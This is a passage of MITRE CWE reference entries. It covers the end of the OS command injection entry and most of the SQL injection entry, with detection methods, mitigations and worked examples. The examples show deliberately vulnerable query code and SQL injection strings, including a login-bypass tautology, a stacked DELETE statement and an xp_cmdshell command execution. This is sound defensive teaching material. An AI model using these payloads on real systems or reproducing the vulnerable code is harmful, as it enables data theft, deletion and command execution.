When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke OS commands, leading to false negatives - especially if the API/library code is not available for analysis.

Note: This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • Program Invocation
+ Affected Resources
  • System Process
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.714OWASP Top Ten 2007 Category A3 - Malicious File Execution
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.727OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.741CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.744CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.810OWASP Top Ten 2010 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.845The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8642011 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.878CERT C++ Secure Coding Section 10 - Environment (ENV)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.929OWASP Top Ten 2013 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1027OWASP Top Ten 2017 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1134SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1165SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
+ Notes

Research Gap

More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.

Terminology

The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEROS Command Injection
OWASP Top Ten 2007A3CWE More SpecificMalicious File Execution
OWASP Top Ten 2004A6CWE More SpecificInjection Flaws
CERT C Secure CodingENV03-CSanitize the environment when invoking external programs
CERT C Secure CodingENV33-CCWE More SpecificDo not call system()
CERT C Secure CodingSTR02-CSanitize data passed to complex subsystems
WASC31OS Commanding
The CERT Oracle Secure Coding Standard for Java (2011)IDS07-JDo not pass untrusted, unsanitized data to the Runtime.exec() method
Software Fault PatternsSFP24Tainted input to command
OMG ASCSMASCSM-CWE-78
+ References
[REF-140] Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. 2004-02-27. <https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958>.
[REF-685] Pascal Meunier. "Meta-Character Vulnerabilities". 2008-02-20. <http://www.cs.purdue.edu/homes/cs390s/slides/week09.pdf>.
[REF-686] Robert Auger. "OS Commanding". 2009-06. <http://projects.webappsec.org/OS-Commanding>.
[REF-687] Lincoln Stein and John Stewart. "The World Wide Web Security FAQ". chapter: "CGI Scripts". 2002-02-04. <http://www.w3.org/Security/Faq/wwwsf4.html>.
[REF-688] Jordan Dimov, Cigital. "Security Issues in Perl Scripts". <http://www.cgisecurity.com/lib/sips.html>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 10: Command Injection." Page 171. McGraw-Hill. 2010.
[REF-690] Frank Kim. "Top 25 Series - Rank 9 - OS Command Injection". SANS Software Security Institute. 2010-02-24. <http://blogs.sans.org/appsecstreetfighter/2010/02/24/top-25-series-rank-9-os-command-injection/>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Shell Metacharacters", Page 425. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-78. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Observed_Examples, Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Research_Gaps, Terminology_Notes
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Name, Related_Attack_Patterns
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated Description, Name, White_Box_Definitions
2009-10-29CWE Content TeamMITRE
updated Observed_Examples, References
2009-12-28CWE Content TeamMITRE
updated Detection_Factors
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Description, Detection_Factors, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Terminology_Notes
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11OS Command Injection
2009-01-12Failure to Sanitize Data into an OS Command (aka 'OS Command Injection')
2009-05-27Failure to Preserve OS Command Structure (aka 'OS Command Injection')
2009-07-27Failure to Preserve OS Command Structure ('OS Command Injection')
2010-06-21Improper Sanitization of Special Elements used in an OS Command ('OS Command Injection')

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Weakness ID: 89
Abstraction: Base
Structure: Simple
Status: Stable
Presentation Filter:
+ Description
The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.
+ Extended Description

Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.

SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.943Improper Neutralization of Special Elements in Data Query Logic
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.564SQL Injection: Hibernate
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.456Missing Initialization of a Variable
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.564SQL Injection: Hibernate
+ Relevant to the view "Weaknesses in OWASP Top Ten (2013)" (CWE-928)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.564SQL Injection: Hibernate
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and DesignThis weakness typically appears in data-rich applications that save user inputs in a database.
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Technologies

Database Server (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.
Access Control

Technical Impact: Bypass Protection Mechanism

If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.
Access Control

Technical Impact: Bypass Protection Mechanism

If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.
Integrity

Technical Impact: Modify Application Data

Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL injection attack.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code.

Example 2

The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

(bad code)
Example Language: C# 
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '" + userName + "' AND itemname = '" + ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...

The query that this code intends to execute follows:

(informative)
 
SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string:

(attack code)
 
name' OR 'a'='a

for itemName, then the query becomes the following:

(attack code)
 
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';

The addition of the:

(attack code)
 
OR 'a'='a

condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

(attack code)
 
SELECT * FROM items;

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

Example 3

This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example.

If an attacker with the user name wiley enters the string:

(attack code)
 
name'; DELETE FROM items; --

for itemName, then the query becomes the following two queries:

(attack code)
Example Language: SQL 
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
--'

Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example.

If an attacker enters the string

(attack code)
 
name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a

Then the following three valid statements will be created:

(attack code)
 
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
SELECT * FROM items WHERE 'a'='a';

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from an allowlist of safe values or identify and escape a denylist of potentially malicious values. Allowlists can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, denylisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

  • Target fields that are not quoted
  • Find ways to bypass the need for certain escaped meta-characters
  • Use stored procedures to hide the injected meta-characters.

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

(bad code)
 
procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)
is open itm_cv for
' SELECT * FROM items WHERE ' || 'owner = '|| usr || ' AND itemname = ' || itm || ';
end get_item;

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

Example 4

MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form:

(bad code)
 
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE

Where $user_input is taken from an untrusted source.

If the user provides the string:

(attack code)
 
'; exec master..xp_cmdshell 'dir' --

The query will take the following form:

(attack code)
 
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=''; exec master..xp_cmdshell 'dir' --' ORDER BY PRICE

Now, this query can be broken down into:

  1. a first SQL query: SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='';
  2. a second SQL query, which executes the dir command in the shell: exec master..xp_cmdshell 'dir'
  3. an MS SQL comment: --' ORDER BY PRICE

As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment.

Example 5

This code intends to print a message summary given the message ID.

(bad code)
Example Language: PHP 
$id = $_COOKIE["mid"];
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");

The programmer may have skipped any input validation on $id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.

While $id is wrapped in single quotes in the call to mysql_query(), an attacker could simply change the incoming mid cookie to:

(attack code)
 
1432' or '1' = '1

This would produce the resulting query:

(result)
 
SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'

Not only will this retrieve message number 1432, it will retrieve all other messages.

In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:

(good code)
Example Language: PHP 
$id = intval($_COOKIE["mid"]);
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");

However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message.

Example 6

This example attempts to take a last name provided by a user and enter it into a database.

(bad code)
Example Language: Perl 
$userKey = getUserID();
$name = getUserInput();

# ensure only letters, hyphens and apostrophe are allowed
$name = allowList($name, "^a-zA-z'-$");
$query = "INSERT INTO last_names VALUES('$userKey', '$name')";

While the programmer applies a allowlist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens, which are used as comment structures in SQL. If a user specifies "--" then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the allowlist permits the apostrophe, which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.

+ Observed Examples
ReferenceDescription
chain: SQL injection in library intended for database authentication allows SQL injection and authentication bypass.
SQL injection through an ID that was supposed to be numeric.
SQL injection through an ID that was supposed to be numeric.
SQL injection via user name.
SQL injection via user name or password fields.
SQL injection in security product, using a crafted group name.
SQL injection in authentication library.
SQL injection in vulnerability management and reporting tool, using a crafted password.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or do not require any code changes.

Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke SQL commands, leading to false negatives - especially if the API/library code is not available for analysis.

Note: This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Database Scanners
Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
